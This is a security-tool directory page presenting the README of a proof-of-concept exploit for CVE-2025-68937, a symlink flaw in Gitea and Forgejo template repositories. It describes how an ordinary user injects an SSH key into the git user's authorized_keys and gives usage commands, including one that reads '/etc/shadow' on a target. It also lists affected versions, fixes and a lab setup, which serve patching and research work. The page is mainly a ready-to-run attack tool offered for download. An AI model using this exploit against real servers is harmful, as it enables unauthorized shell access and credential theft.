Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
Tools/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

View Repository
19 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-68937 - Gitea/Forgejo Template Symlink RCE

Automated proof-of-concept for CVE-2025-68937: directory traversal via symlink dereferencing in Gitea and Forgejo template repository processing, leading to remote code execution.

Any authenticated user (no admin required) can obtain a shell as the git service user.

Vulnerability

When generating a new repository from a template, Gitea/Forgejo copies template files and expands variables like ${REPO_DESCRIPTION} in files listed in .gitea/template. This process follows symbolic links without validation, allowing an attacker to read from and write to arbitrary files on the server.

DetailValue
CVECVE-2025-68937
CVSS 4.09.5 Critical
CWECWE-61 (UNIX Symbolic Link Following)
Auth RequiredYes (any user)
Admin RequiredNo

Affected Versions

SoftwareAffectedFixed
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

How It Works

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. Register a poisoned SSH key with Gitea -- the key's comment contains ${REPO_DESCRIPTION}, a template variable that Gitea expands
  2. Create a template repository containing:
    • .gitea/template listing authorized_keys for variable expansion
    • A git symlink authorized_keys pointing to the git user's real authorized_keys file
  3. Generate a child repository from the template with the attacker's unrestricted SSH public key in the description field
  4. Template expansion follows the symlink, reads the real authorized_keys file (which contains our registered key with ${REPO_DESCRIPTION} in the comment), expands the variable to the child's description (our SSH key), and writes the result back through the symlink
  5. SSH in as git with the injected key (no command= restriction)

Usage

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

Options

Test Environment

Spin up a vulnerable instance:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. Open http://localhost:3000, finish the install wizard (SQLite works fine)
  2. Register a user account
  3. Run:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

Requirements

  • Python 3.8+
  • requests
  • git and ssh-keygen on PATH

Remediation

  • Gitea: upgrade to 1.24.7 or later
  • Forgejo: upgrade to 11.0.7 (LTS) or 13.0.2+

References

  • NVD: CVE-2025-68937
  • GitHub Advisory: GHSA-7mhf-6fhv-c83c
  • Gitea Security Fix Analysis (PR #36734 & #36746)
  • Gitea 1.24.7 Release Notes

Disclaimer

This tool is for authorized security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

Download Tool
FlagDefaultDescription
-u, --urlrequiredGitea/Forgejo base URL
-U, --userrequiredUsername
-P, --passwordrequiredPassword
--git-home/data/gitGit user home directory on target
--ssh-hostfrom --urlSSH host to connect to
--ssh-port22Gitea SSH port
--timeout30Seconds to wait for SSH
--commandinteractiveCommand to run after shell
--cleanup-Remove exploit artifacts